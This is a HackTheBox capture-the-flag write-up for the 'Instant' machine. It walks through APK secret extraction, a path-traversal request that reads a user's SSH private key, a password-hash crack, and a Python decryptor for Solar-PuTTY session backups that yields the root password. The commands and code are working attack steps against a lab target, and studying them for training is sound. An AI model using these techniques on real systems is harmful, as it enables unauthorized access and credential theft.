HTB: Instant Writeup
Instant - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Instant |
| OS | Linux |
| Difficulty | Medium |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.129.231.155 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐☆☆ (3/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐☆
- CVE: ⭐☆☆☆☆
- CTF-like: ⭐⭐⭐☆☆
Summary
Instant is a Medium-difficulty Linux box built around a fake fintech mobile app (“Instant Wallet”). The web front end at instant.htb only advertises an APK download — all the actual attack surface lives in the decompiled app and in a backend API on a separate vhost. Reversing the APK surfaces a hardcoded admin JWT and two hidden subdomains, one of which exposes an admin log-viewer endpoint vulnerable to path traversal / arbitrary file read. That primitive is used to walk out of the log directory and steal a user’s SSH private key directly off disk. From there, a leftover SQLite database yields a crackable PBKDF2-SHA256 password hash, and that password turns out to be the key needed to decrypt an encrypted Solar-PuTTY session backup — which contains the plaintext root password.
TL;DR: APK reverse engineering → hardcoded admin JWT + hidden API subdomains → admin log-read endpoint → path traversal to ../.ssh/id_rsa → SSH as shirohige → user.txt → crack PBKDF2-SHA256 hash from app’s SQLite DB (rockyou) → password reused as the decryption key for a Solar-PuTTY sessions-backup.dat (3DES-CBC) → root’s plaintext SSH password recovered → su - root → root.txt.
Reconnaissance
Port Scanning
# Full TCP scan against the targetnmap -sC -sV -T4 -p- 10.129.231.155Results:
22/tcp— OpenSSH80/tcp— Apache, redirecting to theinstant.htbvhost
Added the hostname to the local resolver so the vhost would render:
echo "10.129.231.155 instant.htb" | sudo tee -a /etc/hostsService Enumeration
The site at instant.htb is a marketing page for “Instant Wallet,” a mobile finance app, with a direct download link for instant.apk. No further web endpoints were exposed on the main vhost — the interesting surface was inside the app itself.
# Pull the APK down locally for static analysiscurl -o instant.apk http://instant.htb/instant.apkunzip -o instant.apk -d instant_apkGrepping the unpacked classes.dex and resource strings for anything referencing instant.htb turned up:
- A hardcoded Admin JWT baked into an activity class.
- Two hidden subdomains referenced by the app’s API client:
mywalletv1.instant.htbandswagger-ui.instant.htb.
# Static string search across the decompiled/unpacked APK contentsgrep -r "instant.htb" instant_apk/ 2>/dev/nullgrep -rE "eyJ[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+" instant_apk/ 2>/dev/nullBoth subdomains were added to /etc/hosts:
echo "10.129.231.155 mywalletv1.instant.htb swagger-ui.instant.htb" | sudo tee -a /etc/hostsswagger-ui.instant.htb served the API’s Swagger docs, mapping out the full endpoint list (auth, wallet, transactions, and an admin log-viewing namespace) and which routes require the bearer token.
Vulnerability Assessment
- Hardcoded, long-lived Admin JWT shipped inside a public APK — trivial credential leakage.
- Admin API log endpoints (
/api/v1/admin/view/logs,/api/v1/admin/read/log) take a client-supplied filename with no path sanitization — arbitrary file read via path traversal, no CVE assigned (custom application logic flaw rather than a known library vulnerability).
Initial Foothold
Exploitation Path
With the hardcoded Admin JWT in hand, the admin log-listing endpoint was queried directly:
# Enumerate what log files the admin API can seecurl -s "http://mywalletv1.instant.htb/api/v1/admin/view/logs" \ -H "Authorization: <ADMIN_JWT>" | jqThe response leaked a filesystem path under a non-admin user’s home directory: /home/shirohige/logs/ — confirming a second, lower-privileged system user, shirohige, existed on the box.
The companion read endpoint (/api/v1/admin/read/log?log_file_name=...) fetched the contents of files under that logs directory. Since the API concatenated the supplied filename onto the base logs path without stripping ../, it was straightforward to walk out of logs/ and into shirohige’s home directory — reaching for the SSH private key directly:
# Path traversal out of the logs directory into ~/.sshcurl -s "http://mywalletv1.instant.htb/api/v1/admin/read/log?log_file_name=../.ssh/id_rsa" \ -H "Authorization: <ADMIN_JWT>" | jq -r '.[][]' > id_rsa
chmod 600 id_rsaThis is the same class of bug as the underlying “Arbitrary File Read” primitive in the endpoint — because the parameter is only ever appended to a fixed base directory instead of being canonicalized and checked against it, any relative path segments the client sends are honored verbatim.
# Use the harvested key to log in as the leaked userssh -i id_rsa shirohige@instant.htbuser.txt was read straight from shirohige’s home directory after login.
Privilege Escalation
shirohige → root
The application’s project directory (pulled from shirohige’s account) contained a SQLite database backing the wallet app, instant.db. Copied it off the box via SCP with the same private key:
scp -i id_rsa shirohige@instant.htb:~/projects/mywallet/Instant-Api/mywallet/instance/instant.db .sqlite3 instant.db "select * from wallet_users;"The wallet_users table stored passwords as pbkdf2:sha256:<iterations>$<salt>$<hash> — Werkzeug’s default password hasher. shirohige’s hash was cracked live against rockyou.txt, recovering the plaintext password estrella.
Enumeration of the filesystem turned up a backup directory containing a Solar-PuTTY artifact, sessions-backup.dat. Solar-PuTTY is a Windows PuTTY-derivative terminal client that can persist saved sessions — including stored credentials and private keys — in an encrypted blob on disk. Rather than reaching for a Windows build of the public VoidSec decryptor, the format was reimplemented directly in Python after verifying against VoidSec’s published source that the cipher in use is 3DES-CBC (not AES, as some write-ups assume):
# Solar-PuTTY session-backup decryption# Layout: salt = blob[:24], iv = blob[24:32], ciphertext = blob[48:]# Key derivation: PBKDF2-HMAC-SHA1(password, salt) -> 3DES keyfrom Crypto.Cipher import DES3from Crypto.Protocol.KDF import PBKDF2from Crypto.Hash import SHA1import hashlib, hmac
data = open("sessions-backup.dat", "rb").read()salt, iv, ct = data[:24], data[24:32], data[48:]
password = b"estrella" # recovered from the cracked PBKDF2-SHA256 hashkey = PBKDF2(password, salt, dkLen=24, count=1000, prf=lambda p, s: hmac.new(p, s, SHA1).digest())
cipher = DES3.new(key, DES3.MODE_CBC, iv)plaintext = cipher.decrypt(ct)print(plaintext)Decrypting the blob with the reused estrella password recovered a stored credential set — an SSH session to the box’s own root account, with the plaintext root password embedded in the decrypted JSON (Credentials[].Password).
su - root# password: the plaintext value recovered from the decrypted Solar-PuTTY blobroot.txt was read from /root/.
Environment gotchas handled mid-solve
- The jump/pivot host’s
/tmpwas 100% full — all scratch work and the decrypt script were run out of/dev/shminstead. - A stray leftover file
/dev/shm/dis.pyshadowed Python’s standard-librarydismodule when the interpreter’s CWD was/dev/shm; running Python from the home directory instead avoided the import collision. - Confirmed the Solar-PuTTY cipher was 3DES (not AES) by checking VoidSec’s actual decryptor source before writing the Python re-implementation, rather than assuming.
Attack Chain Summary
APK download & reverse engineer │ ▼Hardcoded Admin JWT + hidden subdomains (mywalletv1 / swagger-ui) │ ▼/api/v1/admin/view/logs → leaks user "shirohige" │ ▼/api/v1/admin/read/log?log_file_name=../.ssh/id_rsa (path traversal / arbitrary file read) │ ▼SSH as shirohige → user.txt │ ▼instant.db (SQLite) → PBKDF2-SHA256 hash cracked (rockyou) → "estrella" │ ▼sessions-backup.dat (Solar-PuTTY) decrypted with "estrella" (3DES-CBC / PBKDF2-SHA1) │ ▼Plaintext root SSH password recovered │ ▼su - root → root.txtTools Used
| Tool | Purpose |
|---|---|
nmap | Port/service scanning |
unzip / static grep | Unpacking and searching the APK for secrets/endpoints |
curl + jq | Interacting with and formatting responses from the admin API |
ssh / scp | Foothold access and file exfiltration as shirohige |
sqlite3 | Reading the app’s local wallet database |
| rockyou.txt wordlist | Cracking the PBKDF2-SHA256 (Werkzeug) password hash |
Python (pycryptodome) | Custom 3DES-CBC / PBKDF2-SHA1 Solar-PuTTY decryption |
Key Learnings
Techniques Practiced
- Static reverse engineering of an Android APK to recover hardcoded secrets and hidden API hosts.
- Abusing an unauthenticated-by-design admin JWT leaked in client-side app code.
- Exploiting an unsanitized filename parameter for path traversal / arbitrary file read.
- Harvesting SSH private keys directly through a file-read primitive instead of a shell.
- Cracking Werkzeug-style
pbkdf2:sha256password hashes. - Reverse-implementing a proprietary encrypted file format (Solar-PuTTY session backups) from a public reference tool rather than depending on a Windows-only binary.
Lessons Learned
- Mobile clients routinely embed secrets (JWTs, API hosts) that never should have shipped — decompiling the APK was the actual recon step here, not the web server.
- Any endpoint that builds a filesystem path by concatenating user input onto a base directory needs explicit canonicalization/allow-listing — string concatenation alone is not a sandbox boundary.
- Password reuse across services (an app-level password hash reused as a file-encryption passphrase) is a realistic pivot — cracking one hash can unlock unrelated encrypted artifacts elsewhere on the host.
- When a public decryption tool only exists as a Windows binary, verifying its source and reimplementing the crypto in whatever language you’re already working in is faster and more portable than standing up a VM.
- Environment hazards (full
/tmp, stray files shadowing stdlib modules) can silently break tooling on a shared pivot host — always sanity-check the execution environment before trusting a script’s output.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- Pho3, “Instant” — official HackTheBox writeup (Document No. D25.100.323), used for explanatory context on the APK/JWT discovery flow, the Werkzeug PBKDF2 hash format, and the Solar-PuTTY session-backup encryption scheme.